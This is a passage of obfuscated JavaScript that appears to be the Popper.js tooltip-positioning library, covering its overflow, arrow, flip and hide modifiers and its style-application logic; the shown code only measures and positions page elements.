_0x2b53f0['height']; var _0x29f9aa = _0x3c000b(); (_0x29f9aa || !_0x29f9aa && 'fixed' === _0x4474d4) && (_0x212314 = _0x2b53f0['offsetLeft'], _0x4d6c27 = _0x2b53f0['offsetTop']); } return { 'width': _0x36e489, 'height': _0x591605, 'x': _0x212314 + _0x2ab555(_0x128c88), 'y': _0x4d6c27 }; }(_0x46ed23, _0x495f90)) : _0x5c95b3(_0xebca1e) ? function (_0x5d6dee, _0x34246b) { var _0x535aa9 = _0x46fe7f(_0x5d6dee, !0x1, 'fixed' === _0x34246b); return _0x535aa9['top'] = _0x535aa9['top'] + _0x5d6dee['clientTop'], _0x535aa9['left'] = _0x535aa9['left'] + _0x5d6dee['clientLeft'], _0x535aa9['bottom'] = _0x535aa9['top'] + _0x5d6dee['clientHeight'], _0x535aa9['right'] = _0x535aa9['left'] + _0x5d6dee['clientWidth'], _0x535aa9['width'] = _0x5d6dee['clientWidth'], _0x535aa9['height'] = _0x5d6dee['clientHeight'], _0x535aa9['x'] = _0x535aa9['left'], _0x535aa9['y'] = _0x535aa9['top'], _0x535aa9; }(_0xebca1e, _0x495f90) : _0x4210d3(function (_0x308c17) { var _0x49833e, _0x204c96 = _0x227ed8(_0x308c17), _0x4b6379 = _0x56c38a(_0x308c17), _0x30991b = null == (_0x49833e = _0x308c17['ownerDocument']) ? void 0x0 : _0x49833e['body'], _0x3bcf5d = _0x143b08(_0x204c96['scrollWidth'], _0x204c96['clientWidth'], _0x30991b ? _0x30991b['scrollWidth'] : 0x0, _0x30991b ? _0x30991b['clientWidth'] : 0x0), _0x2cfc25 = _0x143b08(_0x204c96['scrollHeight'], _0x204c96['clientHeight'], _0x30991b ? _0x30991b['scrollHeight'] : 0x0, _0x30991b ? _0x30991b['clientHeight'] : 0x0), _0x9be987 = -_0x4b6379['scrollLeft'] + _0x2ab555(_0x308c17), _0x3096a3 = -_0x4b6379['scrollTop']; return 'rtl' === _0x4b78d2(_0x30991b || _0x204c96)['direction'] && (_0x9be987 += _0x143b08(_0x204c96['clientWidth'], _0x30991b ? _0x30991b['clientWidth'] : 0x0) - _0x3bcf5d), { 'width': _0x3bcf5d, 'height': _0x2cfc25, 'x': _0x9be987, 'y': _0x3096a3 }; }(_0x227ed8(_0x46ed23))); } function _0x2e5c56(_0x4a34ad, _0x20be5b, _0x414dab, _0x1d2777) { var _0x141255 = 'clippingParents' === _0x20be5b ? function (_0x383dc0) { var _0x5b4804 = _0x5134d0(_0x20e448(_0x383dc0)), _0x1be4c0 = ['absolute', 'fixed']['indexOf'](_0x4b78d2(_0x383dc0)['position']) >= 0x0 && _0x3de966(_0x383dc0) ? _0x135a23(_0x383dc0) : _0x383dc0; return _0x5c95b3(_0x1be4c0) ? _0x5b4804['filter'](function (_0x512fbc) { return _0x5c95b3(_0x512fbc) && _0x4c2d5c(_0x512fbc, _0x1be4c0) && 'body' !== _0x1e5b11(_0x512fbc); }) : []; }(_0x4a34ad) : []['concat'](_0x20be5b), _0xe36c78 = []['concat'](_0x141255, [_0x414dab]), _0x42460e = _0xe36c78[0x0], _0x3b979c = _0xe36c78['reduce'](function (_0x36144c, _0x4c989d) { var _0x288416 = _0x32dc67(_0x4a34ad, _0x4c989d, _0x1d2777); return _0x36144c['top'] = _0x143b08(_0x288416['top'], _0x36144c['top']), _0x36144c['right'] = _0x190085(_0x288416['right'], _0x36144c['right']), _0x36144c['bottom'] = _0x190085(_0x288416['bottom'], _0x36144c['bottom']), _0x36144c['left'] = _0x143b08(_0x288416['left'], _0x36144c['left']), _0x36144c; }, _0x32dc67(_0x4a34ad, _0x42460e, _0x1d2777)); return _0x3b979c['width'] = _0x3b979c['right'] - _0x3b979c['left'], _0x3b979c['height'] = _0x3b979c['bottom'] - _0x3b979c['top'], _0x3b979c['x'] = _0x3b979c['left'], _0x3b979c['y'] = _0x3b979c['top'], _0x3b979c; } function _0xf90ad3(_0x294d94) { return Object['assign']({}, { 'top': 0x0, 'right': 0x0, 'bottom': 0x0, 'left': 0x0 }, _0x294d94); } function _0x371e57(_0x912df4, _0x55d212) { return _0x55d212['reduce'](function (_0x52fb23, _0x3d4f83) { return _0x52fb23[_0x3d4f83] = _0x912df4, _0x52fb23; }, {}); } function _0x59e7c8(_0x509c51, _0x3d7a8c) { void 0x0 === _0x3d7a8c && (_0x3d7a8c = {}); var _0x559647 = _0x3d7a8c, _0x19b7db = _0x559647['placement'], _0x1bf8e3 = void 0x0 === _0x19b7db ? _0x509c51['placement'] : _0x19b7db, _0x419300 = _0x559647['strategy'], _0x266e15 = void 0x0 === _0x419300 ? _0x509c51['strategy'] : _0x419300, _0x3f1783 = _0x559647['boundary'], _0x491759 = void 0x0 === _0x3f1783 ? _0x1160e2 : _0x3f1783, _0x55ed5c = _0x559647['rootBoundary'], _0x33af92 = void 0x0 === _0x55ed5c ? _0x408dc7 : _0x55ed5c, _0x361fb8 = _0x559647['elementContext'], _0x39d483 = void 0x0 === _0x361fb8 ? _0x33f720 : _0x361fb8, _0xdb0a2c = _0x559647['altBoundary'], _0x109bf6 = void 0x0 !== _0xdb0a2c && _0xdb0a2c, _0x227e21 = _0x559647['padding'], _0x247d73 = void 0x0 === _0x227e21 ? 0x0 : _0x227e21, _0xe052cf = _0xf90ad3('number' != typeof _0x247d73 ? _0x247d73 : _0x371e57(_0x247d73, _0x4e44ae)), _0x2de436 = _0x39d483 === _0x33f720 ? _0x14fd1b : _0x33f720, _0x36b5db = _0x509c51['rects']['popper'], _0x582eb5 = _0x509c51['elements'][_0x109bf6 ? _0x2de436 : _0x39d483], _0x4bcc21 = _0x2e5c56(_0x5c95b3(_0x582eb5) ? _0x582eb5 : _0x582eb5['contextElement'] || _0x227ed8(_0x509c51['elements']['popper']), _0x491759, _0x33af92, _0x266e15), _0x35442d = _0x46fe7f(_0x509c51['elements']['reference']), _0x36622c = _0x1b3ab0({ 'reference': _0x35442d, 'element': _0x36b5db, 'strategy': 'absolute', 'placement': _0x1bf8e3 }), _0x33e0be = _0x4210d3(Object['assign']({}, _0x36b5db, _0x36622c)), _0x4a04c8 = _0x39d483 === _0x33f720 ? _0x33e0be : _0x35442d, _0x363e64 = { 'top': _0x4bcc21['top'] - _0x4a04c8['top'] + _0xe052cf['top'], 'bottom': _0x4a04c8['bottom'] - _0x4bcc21['bottom'] + _0xe052cf['bottom'], 'left': _0x4bcc21['left'] - _0x4a04c8['left'] + _0xe052cf['left'], 'right': _0x4a04c8['right'] - _0x4bcc21['right'] + _0xe052cf['right'] }, _0x4f1a75 = _0x509c51['modifiersData']['offset']; if (_0x39d483 === _0x33f720 && _0x4f1a75) { var _0x5cd828 = _0x4f1a75[_0x1bf8e3]; Object['keys'](_0x363e64)['forEach'](function (_0xbf5f5d) { var _0x4a767e = [_0x2e4d3c, _0x20b3ea]['indexOf'](_0xbf5f5d) >= 0x0 ? 0x1 : -0x1, _0x16d74e = [_0x34b14a, _0x20b3ea]['indexOf'](_0xbf5f5d) >= 0x0 ? 'y' : 'x'; _0x363e64[_0xbf5f5d] += _0x5cd828[_0x16d74e] * _0x4a767e; }); } return _0x363e64; } function _0x1056a8(_0x239a5f, _0x541914, _0x5efeff) { return _0x143b08(_0x239a5f, _0x190085(_0x541914, _0x5efeff)); } const _0x43deeb = { 'name': 'preventOverflow', 'enabled': !0x0, 'phase': 'main', 'fn': function (_0x40fbf4) { var _0x11c9af = _0x40fbf4['state'], _0x485b7a = _0x40fbf4['options'], _0x371e7f = _0x40fbf4['name'], _0x1fc589 = _0x485b7a['mainAxis'], _0x23ede3 = void 0x0 === _0x1fc589 || _0x1fc589, _0x4dad6e = _0x485b7a['altAxis'], _0x1e9055 = void 0x0 !== _0x4dad6e && _0x4dad6e, _0x575988 = _0x485b7a['boundary'], _0x4db5d4 = _0x485b7a['rootBoundary'], _0x2b6d3a = _0x485b7a['altBoundary'], _0x59e944 = _0x485b7a['padding'], _0x35909e = _0x485b7a['tether'], _0x4ce6fa = void 0x0 === _0x35909e || _0x35909e, _0x4d4abf = _0x485b7a['tetherOffset'], _0x2bfcd5 = void 0x0 === _0x4d4abf ? 0x0 : _0x4d4abf, _0x2d85e5 = _0x59e7c8(_0x11c9af, { 'boundary': _0x575988, 'rootBoundary': _0x4db5d4, 'padding': _0x59e944, 'altBoundary': _0x2b6d3a }), _0x36c6ab = _0x2cb7e6(_0x11c9af['placement']), _0x50f1de = _0x3d299d(_0x11c9af['placement']), _0x9bab34 = !_0x50f1de, _0x453e2a = _0x5a48a4(_0x36c6ab), _0x5d5953 = 'x' === _0x453e2a ? 'y' : 'x', _0xbc26e5 = _0x11c9af['modifiersData']['popperOffsets'], _0x4dcb0b = _0x11c9af['rects']['reference'], _0x8cf300 = _0x11c9af['rects']['popper'], _0x34608f = 'function' == typeof _0x2bfcd5 ? _0x2bfcd5(Object['assign']({}, _0x11c9af['rects'], { 'placement': _0x11c9af['placement'] })) : _0x2bfcd5, _0x1ea76c = 'number' == typeof _0x34608f ? { 'mainAxis': _0x34608f, 'altAxis': _0x34608f } : Object['assign']({ 'mainAxis': 0x0, 'altAxis': 0x0 }, _0x34608f), _0x125fe1 = _0x11c9af['modifiersData']['offset'] ? _0x11c9af['modifiersData']['offset'][_0x11c9af['placement']] : null, _0x650097 = { 'x': 0x0, 'y': 0x0 }; if (_0xbc26e5) { if (_0x23ede3) { var _0x3274b4, _0x23e68e = 'y' === _0x453e2a ? _0x34b14a : _0x35f1bd, _0x13442c = 'y' === _0x453e2a ? _0x20b3ea : _0x2e4d3c, _0x523c86 = 'y' === _0x453e2a ? 'height' : 'width', _0x3fb2ab = _0xbc26e5[_0x453e2a], _0x36765d = _0x3fb2ab + _0x2d85e5[_0x23e68e], _0x1115d1 = _0x3fb2ab - _0x2d85e5[_0x13442c], _0x1dc5a0 = _0x4ce6fa ? -_0x8cf300[_0x523c86] / 0x2 : 0x0, _0x4761ab = _0x50f1de === _0x564a85 ? _0x4dcb0b[_0x523c86] : _0x8cf300[_0x523c86], _0x399153 = _0x50f1de === _0x564a85 ? -_0x8cf300[_0x523c86] : -_0x4dcb0b[_0x523c86], _0x59ed02 = _0x11c9af['elements']['arrow'], _0x3f9118 = _0x4ce6fa && _0x59ed02 ? _0x9a6862(_0x59ed02) : { 'width': 0x0, 'height': 0x0 }, _0x63543c = _0x11c9af['modifiersData']['arrow#persistent'] ? _0x11c9af['modifiersData']['arrow#persistent']['padding'] : { 'top': 0x0, 'right': 0x0, 'bottom': 0x0, 'left': 0x0 }, _0x3d7482 = _0x63543c[_0x23e68e], _0x278a = _0x63543c[_0x13442c], _0x411240 = _0x1056a8(0x0, _0x4dcb0b[_0x523c86], _0x3f9118[_0x523c86]), _0x37c98e = _0x9bab34 ? _0x4dcb0b[_0x523c86] / 0x2 - _0x1dc5a0 - _0x411240 - _0x3d7482 - _0x1ea76c['mainAxis'] : _0x4761ab - _0x411240 - _0x3d7482 - _0x1ea76c['mainAxis'], _0x47dc1d = _0x9bab34 ? -_0x4dcb0b[_0x523c86] / 0x2 + _0x1dc5a0 + _0x411240 + _0x278a + _0x1ea76c['mainAxis'] : _0x399153 + _0x411240 + _0x278a + _0x1ea76c['mainAxis'], _0xaaa601 = _0x11c9af['elements']['arrow'] && _0x135a23(_0x11c9af['elements']['arrow']), _0x60ac22 = _0xaaa601 ? 'y' === _0x453e2a ? _0xaaa601['clientTop'] || 0x0 : _0xaaa601['clientLeft'] || 0x0 : 0x0, _0xb6e14a = null != (_0x3274b4 = null == _0x125fe1 ? void 0x0 : _0x125fe1[_0x453e2a]) ? _0x3274b4 : 0x0, _0x2e03b = _0x3fb2ab + _0x47dc1d - _0xb6e14a, _0x331f96 = _0x1056a8(_0x4ce6fa ? _0x190085(_0x36765d, _0x3fb2ab + _0x37c98e - _0xb6e14a - _0x60ac22) : _0x36765d, _0x3fb2ab, _0x4ce6fa ? _0x143b08(_0x1115d1, _0x2e03b) : _0x1115d1); _0xbc26e5[_0x453e2a] = _0x331f96, _0x650097[_0x453e2a] = _0x331f96 - _0x3fb2ab; } if (_0x1e9055) { var _0x135e80, _0x172d92 = 'x' === _0x453e2a ? _0x34b14a : _0x35f1bd, _0x310bda = 'x' === _0x453e2a ? _0x20b3ea : _0x2e4d3c, _0xa3bb73 = _0xbc26e5[_0x5d5953], _0x823066 = 'y' === _0x5d5953 ? 'height' : 'width', _0xc1d051 = _0xa3bb73 + _0x2d85e5[_0x172d92], _0x114a13 = _0xa3bb73 - _0x2d85e5[_0x310bda], _0x409f32 = -0x1 !== [_0x34b14a, _0x35f1bd]['indexOf'](_0x36c6ab), _0x3a80cf = null != (_0x135e80 = null == _0x125fe1 ? void 0x0 : _0x125fe1[_0x5d5953]) ? _0x135e80 : 0x0, _0x4a452b = _0x409f32 ? _0xc1d051 : _0xa3bb73 - _0x4dcb0b[_0x823066] - _0x8cf300[_0x823066] - _0x3a80cf + _0x1ea76c['altAxis'], _0x49827a = _0x409f32 ? _0xa3bb73 + _0x4dcb0b[_0x823066] + _0x8cf300[_0x823066] - _0x3a80cf - _0x1ea76c['altAxis'] : _0x114a13, _0x2c0298 = _0x4ce6fa && _0x409f32 ? function (_0x37fa44, _0x458b0a, _0x935c49) { var _0x22f661 = _0x1056a8(_0x37fa44, _0x458b0a, _0x935c49); return _0x22f661 > _0x935c49 ? _0x935c49 : _0x22f661; }(_0x4a452b, _0xa3bb73, _0x49827a) : _0x1056a8(_0x4ce6fa ? _0x4a452b : _0xc1d051, _0xa3bb73, _0x4ce6fa ? _0x49827a : _0x114a13); _0xbc26e5[_0x5d5953] = _0x2c0298, _0x650097[_0x5d5953] = _0x2c0298 - _0xa3bb73; } _0x11c9af['modifiersData'][_0x371e7f] = _0x650097; } }, 'requiresIfExists': ['offset'] }; var _0x315e04 = function (_0xc544e3, _0x3666ec) { return _0xf90ad3('number' != typeof (_0xc544e3 = 'function' == typeof _0xc544e3 ? _0xc544e3(Object['assign']({}, _0x3666ec['rects'], { 'placement': _0x3666ec['placement'] })) : _0xc544e3) ? _0xc544e3 : _0x371e57(_0xc544e3, _0x4e44ae)); }; const _0x2a8851 = { 'name': 'arrow', 'enabled': !0x0, 'phase': 'main', 'fn': function (_0x46a593) { var _0xfe4040, _0x51b9b5 = _0x46a593['state'], _0x1e6570 = _0x46a593['name'], _0x1403a1 = _0x46a593['options'], _0x300e5c = _0x51b9b5['elements']['arrow'], _0x88d9c0 = _0x51b9b5['modifiersData']['popperOffsets'], _0x32d4d5 = _0x2cb7e6(_0x51b9b5['placement']), _0x2f1fb2 = _0x5a48a4(_0x32d4d5), _0x3dd99e = [_0x35f1bd, _0x2e4d3c]['indexOf'](_0x32d4d5) >= 0x0 ? 'height' : 'width'; if (_0x300e5c && _0x88d9c0) { var _0x114830 = _0x315e04(_0x1403a1['padding'], _0x51b9b5), _0x27a3fc = _0x9a6862(_0x300e5c), _0x1453c7 = 'y' === _0x2f1fb2 ? _0x34b14a : _0x35f1bd, _0x3a8726 = 'y' === _0x2f1fb2 ? _0x20b3ea : _0x2e4d3c, _0x2c47aa = _0x51b9b5['rects']['reference'][_0x3dd99e] + _0x51b9b5['rects']['reference'][_0x2f1fb2] - _0x88d9c0[_0x2f1fb2] - _0x51b9b5['rects']['popper'][_0x3dd99e], _0x442700 = _0x88d9c0[_0x2f1fb2] - _0x51b9b5['rects']['reference'][_0x2f1fb2], _0x5e163a = _0x135a23(_0x300e5c), _0x5a26df = _0x5e163a ? 'y' === _0x2f1fb2 ? _0x5e163a['clientHeight'] || 0x0 : _0x5e163a['clientWidth'] || 0x0 : 0x0, _0xcefcb = _0x2c47aa / 0x2 - _0x442700 / 0x2, _0x2ebd4f = _0x114830[_0x1453c7], _0x358720 = _0x5a26df - _0x27a3fc[_0x3dd99e] - _0x114830[_0x3a8726], _0x24f547 = _0x5a26df / 0x2 - _0x27a3fc[_0x3dd99e] / 0x2 + _0xcefcb, _0x513fe0 = _0x1056a8(_0x2ebd4f, _0x24f547, _0x358720), _0x13c5c9 = _0x2f1fb2; _0x51b9b5['modifiersData'][_0x1e6570] = ((_0xfe4040 = {})[_0x13c5c9] = _0x513fe0, _0xfe4040['centerOffset'] = _0x513fe0 - _0x24f547, _0xfe4040); } }, 'effect': function (_0x648f1d) { var _0x57880f = _0x648f1d['state'], _0x1eb8f2 = _0x648f1d['options']['element'], _0x37a7d6 = void 0x0 === _0x1eb8f2 ? '[data-popper-arrow]' : _0x1eb8f2; null != _0x37a7d6 && ('string' != typeof _0x37a7d6 || (_0x37a7d6 = _0x57880f['elements']['popper']['querySelector'](_0x37a7d6))) && _0x4c2d5c(_0x57880f['elements']['popper'], _0x37a7d6) && (_0x57880f['elements']['arrow'] = _0x37a7d6); }, 'requires': ['popperOffsets'], 'requiresIfExists': ['preventOverflow'] }; function _0x208cc1(_0x1869dc, _0x205fc7, _0x4221a8) { return void 0x0 === _0x4221a8 && (_0x4221a8 = { 'x': 0x0, 'y': 0x0 }), { 'top': _0x1869dc['top'] - _0x205fc7['height'] - _0x4221a8['y'], 'right': _0x1869dc['right'] - _0x205fc7['width'] + _0x4221a8['x'], 'bottom': _0x1869dc['bottom'] - _0x205fc7['height'] + _0x4221a8['y'], 'left': _0x1869dc['left'] - _0x205fc7['width'] - _0x4221a8['x'] }; } function _0xa92656(_0x5c9807) { return [_0x34b14a, _0x2e4d3c, _0x20b3ea, _0x35f1bd]['some'](function (_0x1bff7d) { return _0x5c9807[_0x1bff7d] >= 0x0; }); } var _0x23947d = _0x72558e({ 'defaultModifiers': [{ 'name': 'eventListeners', 'enabled': !0x0, 'phase': 'write', 'fn': function () { }, 'effect': function (_0x58ced2) { var _0x7e7508 = _0x58ced2['state'], _0x1ce4fd = _0x58ced2['instance'], _0x24d025 = _0x58ced2['options'], _0x40ccab = _0x24d025['scroll'], _0x5512dc = void 0x0 === _0x40ccab || _0x40ccab, _0xc70d08 = _0x24d025['resize'], _0x481eff = void 0x0 === _0xc70d08 || _0xc70d08, _0x4aa1ea = _0x4964df(_0x7e7508['elements']['popper']), _0x41f842 = []['concat'](_0x7e7508['scrollParents']['reference'], _0x7e7508['scrollParents']['popper']); return _0x5512dc && _0x41f842['forEach'](function (_0xe90601) { _0xe90601['addEventListener']('scroll', _0x1ce4fd['update'], _0x31d116); }), _0x481eff && _0x4aa1ea['addEventListener']('resize', _0x1ce4fd['update'], _0x31d116), function () { _0x5512dc && _0x41f842['forEach'](function (_0x2b80c5) { _0x2b80c5['removeEventListener']('scroll', _0x1ce4fd['update'], _0x31d116); }), _0x481eff && _0x4aa1ea['removeEventListener']('resize', _0x1ce4fd['update'], _0x31d116); }; }, 'data': {} }, { 'name': 'popperOffsets', 'enabled': !0x0, 'phase': 'read', 'fn': function (_0x3bdeba) { var _0x19e27c = _0x3bdeba['state'], _0x3255ca = _0x3bdeba['name']; _0x19e27c['modifiersData'][_0x3255ca] = _0x1b3ab0({ 'reference': _0x19e27c['rects']['reference'], 'element': _0x19e27c['rects']['popper'], 'strategy': 'absolute', 'placement': _0x19e27c['placement'] }); }, 'data': {} }, { 'name': 'computeStyles', 'enabled': !0x0, 'phase': 'beforeWrite', 'fn': function (_0x568da7) { var _0x370379 = _0x568da7['state'], _0x278740 = _0x568da7['options'], _0x35de1e = _0x278740['gpuAcceleration'], _0xde64a5 = void 0x0 === _0x35de1e || _0x35de1e, _0x4b857b = _0x278740['adaptive'], _0xcdca3e = void 0x0 === _0x4b857b || _0x4b857b, _0x21b9b0 = _0x278740['roundOffsets'], _0x5a74e7 = void 0x0 === _0x21b9b0 || _0x21b9b0, _0x568936 = { 'placement': _0x2cb7e6(_0x370379['placement']), 'variation': _0x3d299d(_0x370379['placement']), 'popper': _0x370379['elements']['popper'], 'popperRect': _0x370379['rects']['popper'], 'gpuAcceleration': _0xde64a5, 'isFixed': 'fixed' === _0x370379['options']['strategy'] }; null != _0x370379['modifiersData']['popperOffsets'] && (_0x370379['styles']['popper'] = Object['assign']({}, _0x370379['styles']['popper'], _0x175bdb(Object['assign']({}, _0x568936, { 'offsets': _0x370379['modifiersData']['popperOffsets'], 'position': _0x370379['options']['strategy'], 'adaptive': _0xcdca3e, 'roundOffsets': _0x5a74e7 })))), null != _0x370379['modifiersData']['arrow'] && (_0x370379['styles']['arrow'] = Object['assign']({}, _0x370379['styles']['arrow'], _0x175bdb(Object['assign']({}, _0x568936, { 'offsets': _0x370379['modifiersData']['arrow'], 'position': 'absolute', 'adaptive': !0x1, 'roundOffsets': _0x5a74e7 })))), _0x370379['attributes']['popper'] = Object['assign']({}, _0x370379['attributes']['popper'], { 'data-popper-placement': _0x370379['placement'] }); }, 'data': {} }, { 'name': 'applyStyles', 'enabled': !0x0, 'phase': 'write', 'fn': function (_0x49b951) { var _0x942b16 = _0x49b951['state']; Object['keys'](_0x942b16['elements'])['forEach'](function (_0x302069) { var _0x117f17 = _0x942b16['styles'][_0x302069] || {}, _0x33c70c = _0x942b16['attributes'][_0x302069] || {}, _0x2a9c63 = _0x942b16['elements'][_0x302069]; _0x3de966(_0x2a9c63) && _0x1e5b11(_0x2a9c63) && (Object['assign'](_0x2a9c63['style'], _0x117f17), Object['keys'](_0x33c70c)['forEach'](function (_0x45b9c9) { var _0xb04ac9 = _0x33c70c[_0x45b9c9]; !0x1 === _0xb04ac9 ? _0x2a9c63['removeAttribute'](_0x45b9c9) : _0x2a9c63['setAttribute'](_0x45b9c9, !0x0 === _0xb04ac9 ? '' : _0xb04ac9); })); }); }, 'effect': function (_0x2b8927) { var _0x1e7f8c = _0x2b8927['state'], _0x212e0d = { 'popper': { 'position': _0x1e7f8c['options']['strategy'], 'left': '0', 'top': '0', 'margin': '0' }, 'arrow': { 'position': 'absolute' }, 'reference': {} }; return Object['assign'](_0x1e7f8c['elements']['popper']['style'], _0x212e0d['popper']), _0x1e7f8c['styles'] = _0x212e0d, _0x1e7f8c['elements']['arrow'] && Object['assign'](_0x1e7f8c['elements']['arrow']['style'], _0x212e0d['arrow']), function () { Object['keys'](_0x1e7f8c['elements'])['forEach'](function (_0x9a0dcc) { var _0x576297 = _0x1e7f8c['elements'][_0x9a0dcc], _0x253ee3 = _0x1e7f8c['attributes'][_0x9a0dcc] || {}, _0x3a9d46 = Object['keys'](_0x1e7f8c['styles']['hasOwnProperty'](_0x9a0dcc) ? _0x1e7f8c['styles'][_0x9a0dcc] : _0x212e0d[_0x9a0dcc])['reduce'](function (_0x497130, _0x754c78) { return _0x497130[_0x754c78] = '', _0x497130; }, {}); _0x3de966(_0x576297) && _0x1e5b11(_0x576297) && (Object['assign'](_0x576297['style'], _0x3a9d46), Object['keys'](_0x253ee3)['forEach'](function (_0x4fc55f) { _0x576297['removeAttribute'](_0x4fc55f); })); }); }; }, 'requires': ['computeStyles'] }, _0x5bfcfa, { 'name': 'flip', 'enabled': !0x0, 'phase': 'main', 'fn': function (_0x254219) { var _0x5a0e74 = _0x254219['state'], _0x15daca = _0x254219['options'], _0x55c248 = _0x254219['name']; if (!_0x5a0e74['modifiersData'][_0x55c248]['_skip']) { for (var _0x4759ab = _0x15daca['mainAxis'], _0xbce4d6 = void 0x0 === _0x4759ab || _0x4759ab, _0x2d05a5 = _0x15daca['altAxis'], _0x461387 = void 0x0 === _0x2d05a5 || _0x2d05a5, _0x1570ce = _0x15daca['fallbackPlacements'], _0x1fe03b = _0x15daca['padding'], _0x231cf7 = _0x15daca['boundary'], _0x2d1093 = _0x15daca['rootBoundary'], _0x1a6228 = _0x15daca['altBoundary'], _0x2d2b7f = _0x15daca['flipVariations'], _0x101125 = void 0x0 === _0x2d2b7f || _0x2d2b7f, _0x27bd56 = _0x15daca['allowedAutoPlacements'], _0x55cfc3 = _0x5a0e74['options']['placement'], _0x115088 = _0x2cb7e6(_0x55cfc3), _0xa2bbff = _0x1570ce || (_0x115088 === _0x55cfc3 || !_0x101125 ? [_0xc02012(_0x55cfc3)] : function (_0x1d7f5a) { if (_0x2cb7e6(_0x1d7f5a) === _0x2bb31d) return []; var _0x5c4729 = _0xc02012(_0x1d7f5a); return [_0x159dbd(_0x1d7f5a), _0x5c4729, _0x159dbd(_0x5c4729)]; }(_0x55cfc3)), _0x12917 = [_0x55cfc3]['concat'](_0xa2bbff)['reduce'](function (_0x3efada, _0x1beccb) { return _0x3efada['concat'](_0x2cb7e6(_0x1beccb) === _0x2bb31d ? function (_0x5c9902, _0x2299c8) { void 0x0 === _0x2299c8 && (_0x2299c8 = {}); var _0x5c25bb = _0x2299c8, _0x1dadac = _0x5c25bb['placement'], _0x453937 = _0x5c25bb['boundary'], _0x11b3ce = _0x5c25bb['rootBoundary'], _0x28e486 = _0x5c25bb['padding'], _0x597175 = _0x5c25bb['flipVariations'], _0x5622a7 = _0x5c25bb['allowedAutoPlacements'], _0x26873d = void 0x0 === _0x5622a7 ? _0x564cc0 : _0x5622a7, _0x275a78 = _0x3d299d(_0x1dadac), _0x29f6fe = _0x275a78 ? _0x597175 ? _0x430756 : _0x430756['filter'](function (_0x24e925) { return _0x3d299d(_0x24e925) === _0x275a78; }) : _0x4e44ae, _0x3d4592 = _0x29f6fe['filter'](function (_0x533bf8) { return _0x26873d['indexOf'](_0x533bf8) >= 0x0; }); 0x0 === _0x3d4592['length'] && (_0x3d4592 = _0x29f6fe); var _0x23f769 = _0x3d4592['reduce'](function (_0x5bfc2a, _0x3d7e81) { return _0x5bfc2a[_0x3d7e81] = _0x59e7c8(_0x5c9902, { 'placement': _0x3d7e81, 'boundary': _0x453937, 'rootBoundary': _0x11b3ce, 'padding': _0x28e486 })[_0x2cb7e6(_0x3d7e81)], _0x5bfc2a; }, {}); return Object['keys'](_0x23f769)['sort'](function (_0x27cedb, _0x188a25) { return _0x23f769[_0x27cedb] - _0x23f769[_0x188a25]; }); }(_0x5a0e74, { 'placement': _0x1beccb, 'boundary': _0x231cf7, 'rootBoundary': _0x2d1093, 'padding': _0x1fe03b, 'flipVariations': _0x101125, 'allowedAutoPlacements': _0x27bd56 }) : _0x1beccb); }, []), _0x58944f = _0x5a0e74['rects']['reference'], _0x213d10 = _0x5a0e74['rects']['popper'], _0x2dc536 = new Map(), _0x51cf76 = !0x0, _0x23669f = _0x12917[0x0], _0x38f37b = 0x0; _0x38f37b < _0x12917['length']; _0x38f37b++) { var _0xb7f747 = _0x12917[_0x38f37b], _0x440efe = _0x2cb7e6(_0xb7f747), _0x6c0c92 = _0x3d299d(_0xb7f747) === _0x564a85, _0x4022bd = [_0x34b14a, _0x20b3ea]['indexOf'](_0x440efe) >= 0x0, _0x11c8a5 = _0x4022bd ? 'width' : 'height', _0x4eb438 = _0x59e7c8(_0x5a0e74, { 'placement': _0xb7f747, 'boundary': _0x231cf7, 'rootBoundary': _0x2d1093, 'altBoundary': _0x1a6228, 'padding': _0x1fe03b }), _0x529e24 = _0x4022bd ? _0x6c0c92 ? _0x2e4d3c : _0x35f1bd : _0x6c0c92 ? _0x20b3ea : _0x34b14a; _0x58944f[_0x11c8a5] > _0x213d10[_0x11c8a5] && (_0x529e24 = _0xc02012(_0x529e24)); var _0x2ccd1a = _0xc02012(_0x529e24), _0x2f9465 = []; if (_0xbce4d6 && _0x2f9465['push'](_0x4eb438[_0x440efe] <= 0x0), _0x461387 && _0x2f9465['push'](_0x4eb438[_0x529e24] <= 0x0, _0x4eb438[_0x2ccd1a] <= 0x0), _0x2f9465['every'](function (_0xf8bd80) { return _0xf8bd80; })) { _0x23669f = _0xb7f747, _0x51cf76 = !0x1; break; } _0x2dc536['set'](_0xb7f747, _0x2f9465); } if (_0x51cf76) for (var _0x44d2ab = function (_0x5cd613) { var _0x371d81 = _0x12917['find'](function (_0x412da6) { var _0x1c7ac9 = _0x2dc536['get'](_0x412da6); if (_0x1c7ac9) return _0x1c7ac9['slice'](0x0, _0x5cd613)['every'](function (_0x317e2d) { return _0x317e2d; }); }); if (_0x371d81) return _0x23669f = _0x371d81, 'break'; }, _0x5f59d0 = _0x101125 ? 0x3 : 0x1; _0x5f59d0 > 0x0; _0x5f59d0--) { if ('break' === _0x44d2ab(_0x5f59d0)) break; } _0x5a0e74['placement'] !== _0x23669f && (_0x5a0e74['modifiersData'][_0x55c248]['_skip'] = !0x0, _0x5a0e74['placement'] = _0x23669f, _0x5a0e74['reset'] = !0x0); } }, 'requiresIfExists': ['offset'], 'data': { '_skip': !0x1 } }, _0x43deeb, _0x2a8851, { 'name': 'hide', 'enabled': !0x0, 'phase': 'main', 'requiresIfExists': ['preventOverflow'], 'fn': function (_0x4301dc) { var _0x1c66b3 = _0x4301dc['state'], _0x23b72f = _0x4301dc['name'], _0x1bea4b = _0x1c66b3['rects']['reference'], _0x1a5b1d = _0x1c66b3['rects']['popper'], _0x53171b = _0x1c66b3['modifiersData']['preventOverflow'], _0x13438c = _0x59e7c8(_0x1c66b3, { 'elementContext': 'reference' }), _0x4b345b = _0x59e7c8(_0x1c66b3, { 'altBoundary': !0x0 }), _0x165c29 = _0x208cc1(_0x13438c, _0x1bea4b), _0x4fc619 = _0x208cc1(_0x4b345b, _0x1a5b1d, _0x53171b), _0x496cd6 = _0xa92656(_0x165c29), _0x22d167 = _0xa92656(_0x4fc619); _0x1c66b3['modifiersData'][_0x23b72f] = { 'referenceClippingOffsets': _0x165c29, 'popperEscapeOffsets': _0x4fc619, 'isReferenceHidden': _0x496cd6, 'hasPopperEscaped': _0x22d167 }, _0x1c66b3['attributes']['popper'] = Object['assign']({}, _0x1c66b3['attributes']['popper'], { 'data-popper-reference-hidden': _0x496cd6, 'data-popper-escaped': _0x22d167 }); } }] }), _0xef3f9c = function () { return _0xef3f9c = Object['assign'] || function (_0x775574) { for (var _0x2a20f3, _0x25e457 = 0x1, _0x4eb06f = arguments['length']; _0x25e457 < _0x4eb06f; _0x25e457++)for (var _0x30e640 in 